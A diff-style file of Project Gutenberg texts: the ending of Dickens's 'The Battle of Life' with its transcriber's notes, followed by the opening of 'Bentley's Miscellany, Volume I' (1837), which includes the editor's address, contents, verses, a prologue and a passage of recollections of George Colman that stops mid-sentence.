+that man--to observe his eye--and now to tell me whether I was right,
+and whether at that moment he knew secrets which he didn't choose to
+tell."
+
+"Mrs. Snitchey," returned her husband, in her ear, "Madam. Did you ever
+observe anything in _my_ eye?"
+
+"No," said Mrs. Snitchey, sharply. "Don't flatter yourself."
+
+"Because, Ma'am, that night," he continued, twitching her by the sleeve,
+"it happens that we both knew secrets which we didn't choose to tell,
+and both knew just the same, professionally. And so the less you say
+about such things the better, Mrs. Snitchey; and take this as a warning
+to have wiser and more charitable eyes another time. Miss Marion, I
+brought a friend of yours along with me. Here! Mistress."
+
+Poor Clemency, with her apron to her eyes, came slowly in, escorted by
+her husband; the latter doleful with the presentiment, that if she
+abandoned herself to grief, the Nutmeg Grater was done for.
+
+"Now, Mistress," said the lawyer, checking Marion as she ran towards
+her, and interposing himself between them, "what's the matter with
+_you_?"
+
+"The matter!" cried poor Clemency.
+
+When, looking up in wonder, and in indignant remonstrance, and in the
+added emotion of a great roar from Mr. Britain, and seeing that sweet
+face so well-remembered close before her, she stared, sobbed, laughed,
+cried, screamed, embraced her, held her fast, released her, fell on Mr.
+Snitchey and embraced him (much to Mrs. Snitchey's indignation), fell on
+the Doctor and embraced him, fell on Mr. Britain and embraced him, and
+concluded by embracing herself, throwing her apron over her head, and
+going into hysterics behind it.
+
+A stranger had come into the orchard, after Mr. Snitchey, and had
+remained apart, near the gate, without being observed by any of the
+group; for they had little spare attention to bestow, and that had been
+monopolised by the ecstasies of Clemency. He did not appear to wish to
+be observed, but stood alone, with downcast eyes; and there was an air
+of dejection about him (though he was a gentleman of a gallant
+appearance) which the general happiness rendered more remarkable.
+
+None but the quick eyes of Aunt Martha, however, remarked him at all;
+but almost as soon as she espied him, she was in conversation with him.
+Presently, going to where Marion stood with Grace and her little
+namesake, she whispered something in Marion's ear, at which she started,
+and appeared surprised; but soon recovering from her confusion, she
+timidly approached the stranger, in Aunt Martha's company, and engaged
+in conversation with him too.
+
+"Mr. Britain," said the lawyer, putting his hand in his pocket, and
+bringing out a legal-looking document, while this was going on, "I
+congratulate you. You are now the whole and sole proprietor of that
+freehold tenement, at present occupied and held by yourself as a
+licensed tavern, or house of public entertainment, and commonly called
+or known by the sign of the Nutmeg Grater. Your wife lost one house,
+through my client Mr. Michael Warden; and now gains another. I shall
+have the pleasure of canvassing you for the county, one of these fine
+mornings."
+
+"Would it make any difference in the vote if the sign was altered, Sir?"
+asked Britain.
+
+"Not in the least," replied the lawyer.
+
+"Then," said Mr. Britain, handing him back the conveyance, "just clap in
+the words, 'and Thimble,' will you be so good; and I'll have the two
+mottoes painted up in the parlour, instead of my wife's portrait."
+
+[Illustration]
+
+"And let me," said a voice behind them; it was the stranger's--Michael
+Warden's; "let me claim the benefit of those inscriptions. Mr.
+Heathfield and Dr. Jeddler, I might have deeply wronged you both. That
+I did not, is no virtue of my own. I will not say that I am six years
+wiser than I was, or better. But I have known, at any rate, that term
+of selfreproach. I can urge no reason why you should deal gently
+with me. I abused the hospitality of this house; and learnt my own
+demerits, with a shame I never have forgotten, yet with some profit
+too I would fain hope, from one," he glanced at Marion, "to whom I
+made my humble supplication for forgiveness, when I knew her merit and
+my deep unworthiness. In a few days I shall quit this place for ever.
+I entreat your pardon. Do as you would be done by! Forget, and forgive!"
+
+TIME--from whom I had the latter portion of this story, and with whom I
+have the pleasure of a personal acquaintance of some five and thirty
+years' duration--informed me, leaning easily upon his scythe, that
+Michael Warden never went away again, and never sold his house, but
+opened it afresh, maintained a golden mean of hospitality, and had a
+wife, the pride and honor of that country-side, whose name was Marion.
+But as I have observed that Time confuses facts occasionally, I hardly
+know what weight to give to his authority.
+
+
+THE END.
+
+
+
+
+  LONDON:
+  BRADBURY AND EVANS, PRINTERS, WHITEFRIARS.
+
+
+
+
+NEW WORK BY BOZ.
+
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+
+  DEALINGS WITH THE FIRM
+  OF
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+
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+
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+
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+
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+
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+
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+
+
+Transcriber's Note
+
+
+In this text-version italics have been surrounded with _underscores_ and
+small capitals have been changed to all capitals.
+
+The following corrections have been made, on page
+
+   25 "Heathfeld" changed to "Heathfield" (Mr. Heathfield," said
+      Snitchey)
+   65 " added (said the client, "but I am)
+   88 " added (you know, Clem.")
+  118 , changed to . (Go away. Don't ask)
+  131 " added (on any account.")
+  131 and 132 "Tim" changed to "Ben", (Doctor Heathfield won't take
+      nothing again, Ben."), (whatever family you was to have, Ben)
+      and ("What's this?" said Ben)
+  143 "faultered" changed to "faltered" (She faultered here, and
+      stopped.)
+  157 " added (It is sinking fast.")
+  164 "recal" changed to "recall" (said Marion, "recall your thoughts).
+
+Otherwise the original has been preserved, including inconsistent
+spelling and hyphenation.
+
+
+
+
+
+End of the Project Gutenberg EBook of The Battle of Life, by Charles Dickens
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+The Project Gutenberg EBook of Bentley's Miscellany, Volume I, by Various
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Bentley's Miscellany, Volume I
+
+Author: Various
+
+Contributor: Richard Bentley
+
+Editor: Charles Dickens
+
+Release Date: January 4, 2014 [EBook #44578]
+
+Language: English
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK BENTLEY'S MISCELLANY, VOLUME I ***
+
+
+
+
+Produced by Paul Marshall, Jason Isbell and the Online
+Distributed Proofreading Team at http://www.pgdp.net
+
+
+
+
+
+  [** Transcriber's Note:
+    The [oe] ligature has been replaced with simply "oe".
+    The cross symbols have been replaced by [cross].
+    Greek words have been transliterated, and enclosed in square
+      brackets, e.g. [Greek: kala reethra]
+    In the original, the Signs of the Zodiac song on page 397 contains
+      astrological symbols after each mention of the signs of the
+      zodiac. The symbols have been omitted in this text version.      ]
+
+
+
+
+   [Illustration: GEORGE COLMAN, The Younger]
+
+
+
+                       BENTLEY'S
+                       MISCELLANY
+
+
+
+                         VOL. I.
+
+
+                         LONDON:
+                     RICHARD BENTLEY,
+                  NEW BURLINGTON STREET.
+                           1837.
+
+                         LONDON:
+               PRINTED BY SAMUEL BENTLEY,
+              Dormet Street, Fleet Street.
+
+
+
+
+                    EDITOR'S ADDRESS
+                ON THE COMPLETION OF THE
+                      FIRST VOLUME.
+
+At the end of a theatrical season it is customary for the manager to
+step forward, and, in as few words as may be, to say how very much
+obliged he feels for all past favours, and how very ready he is to incur
+fresh obligations.
+
+With a degree of candour which few managers would display, we cheerfully
+confess that we have been fairly inundated with _orders_ during our six
+months' campaign; but so liberal are we, notwithstanding, that we place
+many of the very first authors of the day on our free list, and invite
+them to write for our establishment just as much paper as they think
+proper.
+
+We have produced a great variety of novelties, some of which we humbly
+hope may become stock pieces, and all of which we may venture to say
+have been must successful; and, although we are not subject to the
+control of a licenser, we have eschewed everything political, personal,
+or ill-natured, with perhaps as much care as we could possibly have
+shown, even had we been under the watchful eye of the Lord Chamberlain
+himself.
+
+We shall open our Second Volume, ladies and gentlemen, on the first
+day of July, One thousand eight hundred and thirty-seven, when we
+shall have the pleasure of submitting a great variety of entirely new
+pieces for your judgment and approval. The company will be numerous,
+first-rate, and complete. The scenery will continue to be supplied by
+the creative pencil of Mr. George Cruikshank; the whole of the extensive
+and beautiful machinery will be, as heretofore, under the immediate
+superintendence of Mr. Samuel Bentley, of Dorset-street, Fleet-street;
+and Mr. Richard Bentley, of New Burlington-street, has kindly consented
+to preside over the Treasury department, where he has already conducted
+himself with uncommon ability.
+
+The stage management will again be confided, ladies and gentlemen, to
+the humble individual with the short name, who has now the honour to
+address you, and who hopes, for very many years to come, to appear
+before you in the same capacity. Permit him to add in sober seriousness,
+that it has been the constant and unremitting endeavour of himself and
+the proprietor to render this undertaking worthy of your patronage. That
+they have not altogether failed in their attempt, its splendid success
+sufficiently demonstrates; that they have no intention of relaxing in
+their efforts, its future Volumes we trust will abundantly testify.
+
+                                                                "BOZ."
+     _London,_
+ _June, 1837._
+
+
+
+
+                        CONTENTS
+                  OF THE FIRST VOLUME.
+                                                                   Page
+
+  Songs of the Month--January,      by "Father Prout;"                1
+                      February,     by Dr. Maginn;                  105
+                      March,        by Samuel Lover;                325
+                      April,        by W. H. Ainsworth;             429
+                      May and June, by J. A. Wade                   533
+
+  Prologue, by Dr. Maginn                                             2
+  Opening Chaunt                                                      6
+  Recollections of the late George Colman, by Theodore Hook           7
+  The "Monstre" Balloon                                              17
+  Handy Andy, by Samuel Lover                                20,169,373
+  Legend of Manor Hall, by the Author of "Headlong Hall"             29
+  Terence O'Shaughnessy, by the Author of "Stories of Waterloo"      33
+  The Sabine Farmer's Serenade, by Father Prout                      45
+  Public Life of Mr. Tulrumble, by Boz                               49
+  The Hot Wells of Clifton, by Father Prout                          63
+  The Marine Ghost, by the Author of "Rattlin the Reefer"            65
+  Old Age and Youth, by T. Haynes Bayly                              79
+  An Evening of Visits, by the Author of "The Pilot"                 80
+  Who are you?--Metastasio, Fontenelle, and Samuel Lover             88
+  Metropolitan Men of Science                                        89
+  Kyan's Patent--the Nine Muses and the Dry-rot                      93
+  The Original of "Not a Drum was heard," by Father Prout            96
+  A Gossip with some old English Poets, by C. Ollier                 98
+  The Rising Periodical; Mr. Verdant's Account of the last
+          aërial ascent, by T. Haynes Bayly                         101
+  An Italian Anecdote, by the Author of "Hajji Baba"                103
+  Oliver Twist, or the Parish Boy's Progress, by Boz    105,218,326,430
+  Richie Barter                                                     116
+  Plunder Creek, by the Author of "Tales of an Antiquary"           121
+  The Spectre                                                       131
+  Authors and Actors, a dramatic sketch                             132
+  A Gossip with Lady Mary Wortley Montagu, by Hamilton Reynolds     138
+  A Lament over the Bannister                                       151
+  Theatrical Advertisement Extraordinary                            152
+  The Abbess and Duchess, by T. Haynes Bayly                        153
+  Edward Saville, by C. Whitehead                                   155
+  A Fragment of Romance                                             165
+  Lines on John Bannister, by Sir George Rose                       168
+  Lines to a Lyric and Artist                                       177
+  Biographical Sketch of Richardson, by W. Jerdan                   178
+  Paddy Blake's Echo, by J. A. Wade                                 186
+  Recollections of Childhood, by the author of "Headlong Hall"      187
+  Epigrams                                              190,409,493,508
+                                                        540,564,583,590
+  Family Stories, by Thomas Ingoldsby:
+      No. I. Spectre of Tappington                                  191
+         II. Legend of Hamilton Tighe                               266
+        III. Grey Dolphin                                           341
+         IV. The Squire's Story                                     529
+          V. The Execution, a Sporting Anecdote                     561
+  The Wide-awake Club                                               208
+  A Remnant of the Time of Izaak Walton                             230
+  The "Original" Dragon, by C. J. Davids                            231
+  A Passage in the Life of Beaumarchais, by George Hogarth          233
+  Mars and Venus, by C. F. Le Gros                                  247
+  An Evening Meditation                                             250
+  The Devil and Johnny Dixon,
+          by the Author of "Stories of Waterloo"                    251
+  A Merry Christmas, by T. Haynes Bayly                             260
+  Nights at Sea, by the Old Sailor:
+      No. I. The Captain's Cabin                                    269
+      II. The White Squall                                          474
+      III. The Chase and the Forecastle Yarn                        621
+  Remains of Hajji Baba, by the Author of "Zohrab"          280,364,487
+  The Portrait Gallery, by the Author of "The Bee Hive"         286,442
+  The Sorrows of Life                                               290
+  Stray Chapters, by Boz:
+      No. I. The Pantomime of Life                                  291
+      II. Particulars concerning a Lion                             515
+  Memoirs of Samuel Foote                                           298
+  The Two Butlers of Kilkenny                                       306
+  The Little Bit of Tape, by Richard Johns                          313
+  Hippothanasia, or the last of Tails,
+          a lamentable Tale, by W. Jerdan                           319
+  The Grand Cham of Tartary, by C. J. Davids                        339
+  The Dumb Waiter                                                   340
+  Friar Laurence and Juliet, by T. Haynes Bayly                     354
+  Unpublished Letters of Addison                                    356
+  Sonnet to a Fog, by Egerton Webbe                                 371
+  Biography of Aunt Jemima, by F. H. Rankin                         382
+  Scenes in the Life of a Gambler, by Captain Medwin                387
+  Les Poissons d'Avril; a Gastronomical Chaunt, by Father Prout     397
+  The Anatomy of Courage, by Prince Puckler Muskau                  398
+  Song of the Cover                                                 402
+  The Cobbler of Dort                                               403
+  Hero and Leander, by T. Chapman                                   410
+  The Admirable Crichton                                            416
+  Memoirs of Sheridan                                               419
+  Summer Night's Reverie, by J. A. Wade                             428
+  Peter Plumbago's Correspondence                                   448
+  The Blue Wonder                                                   450
+  The Youth's Vade Mecum, by C. Whitehead                           461
+  A Visit to the Madrigal Society                                   465
+  Love and Poverty                                                  469
+  Reflections in a Horse-pond                                       470
+  Inscription for a Cemetery                                        473
+  The Useful Young Man, by W. Collier                               485
+  A London Fog                                                      492
+  Shakspeare Papers, by Dr. Maginn:
+      No. I. Sir John Falstaff                                      495
+      II. Jaques                                                    550
+  Steam Trip to Hamburgh                                            509
+  Legend of Bohis Head                                              519
+  Bob Burns and Beranger; Sam Lover and Ovidius Naso;
+          by "Father Prout"                                         525
+  Periodical Literature of the North American Indians               534
+  An Epitaph                                                        540
+  Darby the Swift, by J. A. Wade                                    541
+  The Romance of a Day, by "The Bashful Irishman"                   565
+  The Man with the Tuft, by T. Haynes Bayly                         576
+  The Minister's Fate; from "Recollections of H. T."                577
+  Love in the City, by the Author of "Stories of Waterloo"          584
+  Mrs. Jennings                                                     591
+  Hints for an Historical Play, by Thomas Ingoldsby                 597
+  John Pooledoune, the Victim of Improvements, by W. Jerdan         599
+  The Legend of Mount Pilate, by G. Dance                           608
+  Glorvina, the Maid of Meath, by J. Sheridan Knowles               614
+  Ode upon the Birth-day of the Princess Victoria, by J. A. Wade    620
+
+
+
+
+                     ILLUSTRATIONS.
+
+  Portrait of George Colman                        _Frontispiece_
+  Handy Andy, No. I. by S. Lover                         Page 20
+  Procession at the Inauguration of Mr. Tulrumble
+          as Mayor of Mudfog, by George Cruikshank            49
+  Who are you? by S. Lover                                    88
+  Oliver Twist, by George Cruikshank                         105
+  Handy Andy, No. II. by S. Lover                            169
+  Spectre of Tappington, by Buss                             191
+  Oliver Twist, No. II. by George Cruikshank                 218
+  Portrait of Samuel Foote, by Sir Joshua Reynolds           298
+  The Little Bit of Tape, by Phiz                            313
+  Oliver Twist, No. III. by George Cruikshank                326
+  Portrait of Richard Brinsley Sheridan, by Ozias Humphreys  419
+  Oliver Twist, No. IV. by George Cruikshank                 430
+  Nights at Sea, by George Cruikshank                        474
+  The Romance of a Day, by George Cruikshank                 565
+  Nights at Sea, by George Cruikshank                        621
+
+
+
+
+                  BENTLEY'S MISCELLANY.
+
+
+
+
+                  OUR SONG OF THE MONTH.
+               No. I. January, 1837.
+
+
+                THE BOTTLE OF ST. JANUARIUS.
+
+                             I.
+    In the land of the citron and myrtle, we're told
+      That the blood of a MARTYR is kept in a phial,
+    Which, though all the year round, it lie torpid and cold,
+      Yet grasp but the crystal, 'twill _warm_ the first trial ...
+    Be it fiction or truth, with your favourite FACT,
+      O, profound LAZZARONI! I seek not to quarrel;
+    But indulge an old priest who would simply extract
+      From your legend, a lay--from your martyr, a moral.
+
+                            II.
+    Lo! with icicled beard JANUARIUS comes!
+      And the blood in his veins is all frozen and gelid,
+    And he beareth a bottle; but TORPOR benumbs
+      Every limb of the saint:--Would ye wish to dispel it?
+    With the hand of good-fellowship grasp the hoar sage--
+      Soon his joints will relax and his pulse will beat quicker;
+    Grasp the _bottle_ he brings--'twill grow warm. I'll engage,
+      Till the frost of each heart lies dissolved in the LIQUOR!
+
+                                         _Probatum est._ P. PROUT.
+
+    WATER-GRASS-HILL, _Kal. Januarii_.
+
+
+
+
+                         PROLOGUE.
+
+    For us, and our Miscellany,
+    Here stooping to your clemency,
+    We beg your hearing patiently.
+                         SHAKSPEARE, _with a difference_.
+
+"Doctor," said a young gentleman to Dean Swift, "I intend to set up for
+a wit."
+
+"Then," said the Doctor, "I advise you to sit down again."
+
+The anecdote is unratified by a name, for the young gentleman continues
+to the present day to be anonymous, as he will, in all probability,
+continue to future time; and as for Dean Swift, his name, being merely
+that of a wit by profession, goes for nothing. We apprehend that the
+tale is not much better than what is to be read in the pages of
+Joe Miller.
+
+But, supposing it true,--and the joke is quite bad enough to be
+authentic,--we must put in our plea that it is not to apply to us. The
+fact is absolutely undeniable that we originally advertised ourselves or
+rather our work as, the "Wits' Miscellany,"--thereby indicating, beyond
+all doubt, that we of the Miscellany were WITS. It is our firm hope that
+the public, which is in general a most tender-hearted individual, will
+not give us a rebuff similar to that which the unnamed young gentleman
+experienced at the hands, or the tongue, of the implacable
+Dean of St. Patrick.
+
+It has been frequently remarked,--and indeed we have more than
+fifty times experienced the fact ourselves,--that of all the stupid
+dinner-parties, by far the stupidest is that at which the cleverest men
+in all the world do congregate. A single lion is a pleasant show: he
+wags his tail in proper order; his teeth are displayed in due course;
+his hide is systematically admired, and his mane fitly appreciated.
+If he roars, good!--if he aggravates his voice to the note of a
+sucking-dove, better! All look on in the appropriate mood of delight,
+as Theseus and Hippolita, enraptured at the dramatic performance of
+Snug the Joiner. But when there comes a menagerie of lions, the case
+is altered. Too much familiarity, as the lawyers say in their peculiar
+jargon, begets contempt. We recollect, many years ago, when some
+ingenious artist in Paris proposed to make Brussels lace or blonde by
+machinery at the rate of a _sou_ per ell, to have congratulated a lady
+of our acquaintance on this important saving in the main expenditure
+of the fair sex. "You will have," said we, "a cap which now costs four
+hundred francs for less than fifty. Think of that!"
+
+"Think of that!" said the countess, casting upon us the darkest
+expression of indignation that her glowing eyes [and what eyes they
+were!--but no matter] could let loose,--"think of that, indeed! Do you
+think that I should ever wear such rags as are to be bought for fifty
+francs?"
+
+There was no arguing the matter: it was useless to say that the
+fifty-franc article, if the plan had succeeded, (which, however, it did
+not,) would have been precisely and in every thread the same as that set
+down at five hundred. The crowd of fine things generated by cheapness,
+in general, was quite enough to dim the finery of any portion of them
+in particular.
+
+We are much afraid that we run somewhat loose of our original design
+in these rambling remarks. But it is always easy to come back to the
+starting-post. Abandoning metaphor and figure of all kinds, we were
+endeavouring to express our conviction, drawn from experience, that
+a company of professed wits might be justly suspected to be a dull
+concern. Every man is on the alert to guard against surprise.
+
+    Through all the seven courses laid down,
+      Each jester looks sour on his brother;
+    The wit dreads the punster's renown,
+      The buffoon tries the mimic to smother:
+    He who shines in the sharp repartee
+      Envies him who can yarn a droll story;
+    And the jolly bass voice in a glee
+      Will think your adagio but snory.
+
+This is, we admit at once, and in anticipation of the reader's already
+expressed opinion, a very poor imitation of the opening song of the
+Beggar's Opera.
+
+If this melancholy fact of the stupidity of congregated wits be
+admitted to be true, the question comes irresistibly, thrown in our
+faces in the very language of the street, "Who are _you_? Have not you
+advertised yourselves as wits, and can you escape from the soft-headed
+impeachment?" We reply nothing; we stand mute. It will be our time
+this day twelvemonths to offer to the pensive public a satisfactory
+replication to that somewhat personal interrogatory. Yet--
+
+Having in our minds, and the interior _sensoria_ of our consciences,
+some portion of modesty yet lingering behind--how small that portion
+may be is best known to those who have campaigned for a few years upon
+the press, and thence learned the diffident mildness which naturally
+adheres to the pursuit of enlightening the public mind, and advancing
+the march of general intellect;--possessed, we say, of that quantity of
+retiring bashfulness, it is undeniable that, like one of the Passions
+in Collins's Ode,--we forget which, but we fear it is Fear,--we, after
+showing forth in the best public instructors as the Wits' Miscellany,
+
+                            Back recoiled,
+    Scared at the sound ourselves had made.
+
+To this resolution we were also led by the fact, that such a title would
+altogether exclude from our pages contributions of great merit--which,
+although exhibiting comic faculty, would also deal with the shadows of
+human life, and sound the deep wells of the heart.
+
+We agreed that the work should not be called "The Wits'" any longer. We
+massacred the title as ruthlessly as ever were massacred its namesakes
+in Holland: and, agreeing to an _emendatio_, we now sail under the title
+of our worthy publisher, which happens to be the same as that of him who
+is by all _viri clarissimi_ adopted as _criticorum longè doctissimus_,
+RICARDUS BENTLEIUS; or, to drop Latin lore--Richard Bentley.
+
+Here then, ladies and gentlemen, we introduce to your special and
+particular notice
+
+
+                      BENTLEY'S MISCELLANY.
+
+What may be in the Miscellany it is your business to find out. Here lie
+the goods, warehoused, bonded, ticketed, and labelled, at your service.
+You have only, with the Genius in the Arabian Nights' Entertainments,
+to cry, "Fish, fish, do your duty;" and if they are under-cooked or
+over-cooked, if the seasoning is too high or the fire too low, if they
+be burnt on one side and raw on the other,--why, gentle readers, it is
+your business to complain. All we have to say here, is, that we have
+made our haul in the best fishing-grounds, and, if we were ambitious of
+pun-making, we might add, that we had well baited our _hooks_--caught
+some choice _souls_--flung our lines into right _places_--and so forth,
+as might easily he expanded by the students of Mr. Commissioner Dubois's
+art of punning made easy.
+
+What we propose is simply this:--We do not envy the fame or glory of
+other monthly publications. Let them all have their room. We do not
+desire to jostle them in their course to fame or profit, even if it
+was in our power to do so. One may revel in the unmastered fun and
+the soul-touching feeling of Wilson, the humour of Hamilton, the dry
+jocularity and the ornamented poetry of Moir, the pathos of Warren, the
+tender sentiment of Caroline Bowles, the eloquence of Croly, and the
+Tory brilliancy of half a hundred contributors zealous in the cause of
+Conservatism. Another may shake our sides with the drolleries of Gilbert
+Gurney and his fellows, poured forth from the inexhaustible reservoir
+of the wit of our contributor Theodore Hook,--captivate or agitate us by
+the Hibernian Tales of Mrs. Hall,--or rouse the gentlest emotions by the
+fascinating prose or delicious verse of our fairest of _collaborateuses_
+Miss Landon. In a third we must admire the polyglot facetiæ of our
+own Father Prout, and the delicate appreciation of the classical and
+elegant which pervades the writings of the Greek-thoughted Chapman;
+while its rough drollery, its bold bearing, its mirth, its learning, its
+courage, and its caricatures, (when, confined to the harmless and the
+mirth-provoking, they abstain from invading the sanctuary of private
+life,) are all deserving of the highest applause, though we should
+be somewhat sorry to stand in the way of receiving the consequences
+which they occasionally entail. Elsewhere, what can be better than
+Marryat, Peter Simple, Jacob Faithful, Midshipman Easy, or whatever
+other title pleases his ear; A Smollett of the sea revived, equal to
+the Doctor in wit, and somewhat purged of his grossness. In short, to
+all our periodical contemporaries we wish every happiness and success;
+and for those among their contributors whose writings tend to amuse or
+instruct,--and many among them there are to whom such praise may be
+justly applied,--we feel the highest honour and respect. We wish that
+we could catch them all, to illuminate our pages, without any desire
+whatever that their rays should be withdrawn from those in which they
+are at present shining.
+
+Our path is single and distinct. In the first place, we have nothing
+to do with politics. We are so far Conservatives as to wish that all
+things which are good and honourable for our native country should be
+preserved with jealous hand. We are so far Reformers as to desire that
+every weed which defaces our conservatory should be unsparingly plucked
+up and cast away. But is it a matter of absolute necessity that people's
+political opinions should be perpetually obtruded upon public notice? Is
+there not something more in the world to be talked about than Whig and
+Tory? We do not quarrel with those who find or make it their vocation to
+show us annually, or quarterly, or hebdomadally, or diurnally, how we
+are incontestably saved or ruined; they have chosen their line of walk,
+and a pleasant one no doubt it is; but, for our softer feet may it not
+be permitted to pick out a smoother and a greener promenade,--a path of
+springy turf and odorous sward, in which no rough pebble will lacerate
+the ancle, no briery thorn penetrate the wandering sole?
+
+Truce, however, to prefacing. We well know that speechmaking never yet
+won an election, because something more tangible than speechifying
+is requisite. So it is with books; and, indeed, so is it with every
+thing else in the world. We must be judged by our works. We have only
+one petition to make, which is put in with all due humility,--it is
+this--that we are not to be pre-judged by this our first attempt.
+Nothing is more probable than that many of our readers, and they
+fair-going people too, will think this number a matter not at all to be
+commended; and we, with perfect modesty, suggest, on the other side, the
+propriety of their suspending their opinion as to our demerits until
+they see the next. And then----And then! Well!--what then? Why, we do
+not know: and, as it is generally ruled, that, when a man cannot speak,
+he is bound to sing, we knock ourselves down for a song.
+
+
+         Our Opening Chaunt.
+
+                   I.
+    Come round and hear, my public dear,
+      Come hear, and judge it gently,--
+    The prose so terse, and flowing verse,
+      Of us, the wits of Bentley.
+
+                  II.
+    We offer not intricate plot
+      To muse upon intently;
+    No tragic word, no bloody sword,
+      Shall stain the page of Bentley.
+
+                  III.
+    The tender song which all day long
+      Resounds so sentimént'ly,
+    Through wood and grove all full of love,
+      Will find no place in Bentley.
+
+                  IV.
+    Nor yet the speech which fain would teach
+      All nations eloquéntly;--
+    'Tis quite too grand for us the bland
+      And modest men of Bentley.
+
+                   V.
+    For science deep no line we keep,
+      We speak it reveréntly;--
+    From sign to sign the sun may shine,
+      Untelescoped by Bentley.
+
+                  VI.
+    Tory and Whig, in accents big,
+      May wrangle violéntly:
+    Their party rage shan't stain the page--
+      The neutral page of Bentley.
+
+                  VII.
+    The scribe whose pen is mangling men
+      And women pestiléntly,
+    May take elsewhere his wicked ware,--
+      He finds no mart in Bentley.
+
+                 VIII.
+    It pains us not to mark the spot
+      Where Dan may find his rént lie;
+    The Glasgow chiel may shout for Peel,
+      We know them not in Bentley.
+
+                  IX.
+    Those who admire a merry lyre,--
+      Those who would hear attent'ly
+    A tale of wit, or flashing hit,--
+      Are ask'd to come to Bentley.
+
+                   X.
+    Our hunt will be for grace and glee,
+      Where thickest may the scent lie;
+    At slashing pace begins the chase--
+      Now for the burst of Bentley.
+
+
+
+
+                       GEORGE COLMAN.
+
+That a life of this eminent and much regretted man will be written
+by some competent author, there can be little doubt. That he himself
+extended his "_Random Records_" no further than two volumes, containing
+the history and anecdotes of the early part of his career, is greatly
+to be lamented. What is here collected is merely worthy of being called
+"Recollections," and does not assume to itself the character of a piece
+of biography.
+
+Mr. Colman was the grandson of Francis Colman, Esq. British Resident
+at the Court of Tuscany at Pisa, who married a sister of the Countess
+of Bath. George Colman the elder, father of him of whom we write, was
+born about the year 1733, at Florence, and was placed at an early age
+at Westminster School, where he very soon distinguished himself by the
+rapidity of his attainments. In 1748 he went to Christchurch College,
+Oxford, where he took his Master's degree; and shortly became the friend
+and associate of Churchill, Bonnell Thornton, Lloyd, and the other
+principal wits and writers of the day.
+
+Lord Bath was greatly struck by his merit and accomplishments, and
+induced him to adopt the law as his profession. He accordingly entered
+at Lincoln's Inn, and was eventually called to the bar. It appears--as
+it happened afterwards to his son--that the drier pursuits of his
+vocation were neglected or abandoned in favour of literature and the
+drama. His first poetical performance was a copy of verses addressed to
+his cousin, Lord Pulteney. But it was not till 1760 that he produced any
+dramatic work: in that year he brought out "Polly Honeycombe," which met
+with considerable success.
+
+It is remarkable that, previous to that season, no new comedy had been
+produced at either theatre for nine years; and equally remarkable
+that the year 1761 should have brought before the public "The Jealous
+Wife," by Colman, "The way to Keep Him," by Murphy, and "The Married
+Libertine," by Macklin.
+
+In the following year Lord Bath died, and left Mr. Colman a very
+comfortable annuity, but less in value than he had anticipated. In
+1767, General Pulteney, Lord Bath's successor, died, and left him a
+second annuity, which secured him in independence for life. And here it
+may be proper to notice a subject which George Colman the younger has
+touched before in his "Random Records," in which he corrects a hasty and
+incautious error of the late Margravine of Anspach, committed by her, in
+her "Memoirs." Speaking of George Colman the elder, she says,
+
+"He was a natural son of Lord Bath, Sir James Pulteney; and his father,
+perceiving in the son a passion for plays, asked him fairly if he never
+intended to turn his thoughts to politics, as it was his desire to see
+him a minister, which, with his natural endowments, and the expense and
+pains he had bestowed on his education, he had reason to imagine, with
+his interest, he might become. His _father_ desired to know if he would
+give up the Muses for diplomacy, and plays for politics; as, in that
+case, he meant to give him his whole fortune. Colman thanked Lord Bath
+for his kind communication, but candidly said, that he preferred Thalia
+and Melpomene to ambition of any kind, for the height of his wishes was
+to become, at some future time, the manager of a theatre. Lord Bath left
+him fifteen hundred pounds a-year, instead of all his immense wealth."
+
+Mr. Colman, after exposing the strange mistake of calling _the_
+Sir William Pulteney, James, goes on to state, that, being the son
+of his wife's sister, Lord Bath, on the death of Francis Colman
+(his brother-in-law), which occurred when the elder George was but
+one year old, took him entirely under his protection, and placed
+him progressively at Westminster, Oxford, and Lincoln's Inn. In
+corroboration of the else unquestioned truth of this statement, he
+refers to the posthumous pamphlets of his highly-gifted parent, and
+justly takes credit for saving him from imputed illegitimacy, by
+explaining that his grandmother was exempt from the conjugal frailty of
+Venus, and his grandfather from the fate of Vulcan.
+
+George Colman the elder suffered severely from the effects of a
+paralytic affection, which, in the year 1790, produced mental
+derangement; and, after living in seclusion for four years, he died on
+the 14th of April 1794, having been during his life a joint proprietor
+of Covent Garden Theatre, and sole proprietor of the little theatre in
+the Haymarket.
+
+George Colman the younger became, at Westminster, the schoolfellow and
+associate of the present Archbishop of York, the Marquess of Anglesea,
+the late Earl of Buckinghamshire, Doctor Robert Willis, Mr. Reynolds,
+his brother dramatist, the present Earl Somers, and many other persons,
+who have since, like himself, become distinguished members of society.
+
+The account which Mr. Colman gives of his introduction by his father to
+Johnson, Goldsmith, and Foote, when a child, is so highly graphic, and
+so strongly characteristic of the man, that we give an abridgement
+of it here:
+
+"On the day of my introduction," says Colman, "Dr. Johnson was asked to
+dinner at my father's house in Soho-square, and the erudite savage came
+a full hour before his time. My father, having dressed himself hastily,
+took me with him into the drawing-room.
+
+"On our entrance, we found Johnson sitting in a _fauteuil_ of
+rose-coloured satin. He was dressed in a rusty suit of brown, cloth
+_dittos_, with black worsted stockings; his old yellow wig was of
+formidable dimensions; and the learned head which sustained it rolled
+about in a seemingly paralytic motion; but, in the performance of its
+orbit, it inclined chiefly to one shoulder.
+
+"He deigned not to rise on our entrance; and we stood before him while
+he and my father talked. There was soon a pause in the colloquy;
+and my father, making his advantage of it, took me by the hand, and
+said,--'Dr. Johnson, this is a little Colman.' The doctor bestowed a
+slight ungracious glance upon me, and, continuing the rotary motion
+of his head, renewed the previous conversation. Again there was a
+pause;--again the anxious father, who had failed in his first effort,
+seized the opportunity for pushing his progeny, with--'This is my son,
+Dr. Johnson.' The great man's contempt for me was now roused to wrath;
+and, knitting his brows, he exclaimed in a voice of thunder, 'I _see_
+him, sir!' He then fell back in his rose-coloured satin _fauteuil_,
+as if giving himself up to meditation; implying that he would not be
+further plagued, either with an old fool or a young one.
+
+"After this rude rebuff from the doctor, I had the additional felicity
+to be placed next to him at dinner: he was silent over his meal; but
+I observed that he was, as Shylock says of Lancelot Gobbo, 'a huge
+feeder;' and during the display of his voracity, (which was worthy of
+_Bolt_ Court,) the perspiration fell in copious drops from his visage
+upon the table-cloth."
+
+"Oliver Goldsmith, several years before my luckless presentation to
+Johnson, proved how 'doctors differ.' I was only five years old when
